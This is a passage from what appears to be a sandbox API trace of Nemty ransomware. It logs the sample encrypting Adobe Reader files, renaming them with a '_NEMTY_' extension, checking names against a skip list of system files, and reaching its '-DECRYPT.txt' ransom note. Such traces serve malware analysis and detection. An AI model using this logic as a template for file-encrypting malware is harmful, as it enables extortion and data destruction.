[0186.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.106] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.106] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="dha57V6hZCWXJL7BvGokw40+Tnl/83j/c4A5QFMA3A0VuyJIGLkMjvcvNwmJivIL\r\niyNVuEZes0ngNynuFUzMPhB6+W1tqcjqBZ0gMkP8DuhgwgY37KfKBw1mUAmSpiAv\r\nwA2HeGbSYt4FZG/GPVMupPX4gxHVY240BKLu83fw47DwP6NkTFcid5/w0VqNNakO\r\nEBNMn8mEAh5+5rrMmUYdPltIABnyt6l+dAw4aKhvG+F/UPsngi4FH0MdQ1QDqibr\r\nc4sjerTqdkT/UqsjcHbJJdHrRWjCQoKWdm+o/tL/G0bsTNW1i+QKB7eMkIi7e5Qz\r\ngcFT8QKTnm6mtMq0L0kL1Q==\r\n", pcchString=0x653e29c) returned 1 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.107] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=35229) returned 1 [0186.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8990) returned 0x6352c48 [0186.107] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.107] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8990, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8990, lpOverlapped=0x0) returned 1 [0186.111] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.111] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8990, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8990, lpOverlapped=0x0) returned 1 [0186.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.111] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=35229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x899d [0186.111] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.111] CloseHandle (hObject=0x2f0) returned 1 [0186.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.112] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.112] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0186.112] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0186.112] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0186.112] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0186.112] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0186.113] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0186.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.114] Sleep (dwMilliseconds=0x5) [0186.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x229579d0, dwHighDateTime=0x1d561e8)) [0186.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x229579d0, dwHighDateTime=0x1d561e8)) [0186.121] GetLastError () returned 0x0 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.122] GetLastError () returned 0x0 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.122] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.122] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="4apKsEVVeK58lxDHEtgSYlW765UEZlIDpdabjGss+UyDV3wviDDIZ0CQD1rUNEr7\r\nJQesX85SQ4qcqt5ssPs76iQdEFY312n6xohfDojjubWN/qmr6RoacY/u5vDLlb8s\r\nhNAcoW7B7Y+Y+QyjJyQl2TCEyM+a7hvgcItKeZGw90vIthSmNaHDk4lJJ5YLWBCx\r\nP6JWEkWL3vI/8fC302SUAzMjbvEJ8RWKSWGjQURy7Y19hkAvC00yS9m9KidpElzA\r\nOUMRYyXBqYJReQONv2LB+kvzX08/94LS2inOH8TDPsLjRyuNQfGw3XqVOUs37C4l\r\nKuD4ESWy42RbGsptTFTh1A==\r\n", pcchString=0x653e29c) returned 1 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.122] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=228) returned 1 [0186.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0186.123] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.123] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0186.123] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.124] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0186.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.124] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe4 [0186.124] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.124] CloseHandle (hObject=0x2f0) returned 1 [0186.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.124] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.128] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2290b710, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2290b710, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2290b710, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.129] HeapFree (in: hHeap=0x4f90000, 